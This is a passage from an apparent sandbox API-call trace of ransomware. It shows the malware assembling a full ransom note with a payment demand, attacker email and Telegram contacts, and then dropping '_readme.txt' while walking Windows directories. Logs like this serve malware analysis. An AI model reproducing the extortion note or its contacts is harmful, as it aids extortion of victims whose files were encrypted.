tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf", lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" [0119.570] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x3080660 [0119.570] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\_readme.txt" (normalized: "c:\\boot\\fi-fi\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.570] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3080660 | out: hHeap=0x5e0000) returned 1 [0119.570] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3095780 | out: hHeap=0x5e0000) returned 1 [0119.570] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.570] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.570] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.571] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.571] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.571] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0119.571] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0119.571] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.571] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.571] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30229c0 | out: hHeap=0x5e0000) returned 1 [0119.571] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30229c0 [0119.571] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.571] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.571] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.571] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.571] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.571] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.571] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.571] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.571] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.571] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.571] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.571] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.571] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.571] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.571] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.571] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.571] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.571] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.571] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.572] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.572] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.572] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.572] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.572] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.572] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.572] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.572] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.572] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.572] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.572] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.572] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.572] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.572] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.572] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.572] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.572] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.572] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.572] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.572] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.572] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.572] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.572] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.572] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.572] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.572] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.572] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.572] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.572] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.572] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.572] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.572] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.572] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.572] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.573] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.573] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.573] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.573] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.573] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.573] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.573] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.573] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.573] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.573] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.573] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.573] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.573] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.573] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.573] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.573] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.573] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.573] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.573] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.573] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.573] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.573] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.573] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.573] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.573] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.573] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.573] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.573] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.573] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.573] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.573] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.573] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.573] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.573] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.574] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.574] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.574] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.574] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.574] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.574] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.574] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.574] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.574] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.574] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.574] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.574] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.574] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.574] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.574] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.574] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.574] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.574] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.574] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.574] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.574] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.574] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.574] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.574] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.574] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.574] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.574] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.574] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.574] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.574] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.574] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.574] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.575] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.575] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.575] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.575] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.575] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.575] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.575] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.575] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.575] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.575] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.575] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.575] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.575] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.575] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.575] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.575] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.575] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.575] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.575] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.575] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.575] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.575] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.575] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.575] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.575] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.575] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.575] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.575] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.575] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.575] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.575] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.575] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.575] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.576] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.576] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.576] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.576] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.576] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.576] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.576] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.576] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.576] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.576] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.576] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.576] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.576] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.576] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.576] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.576] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.576] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.576] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.576] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.576] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.576] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.576] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.576] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.576] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.576] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.576] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.576] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.576] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.576] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.576] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.576] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.576] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.576] RtlAllocateHeap (HeapHandle=0x5e0000, 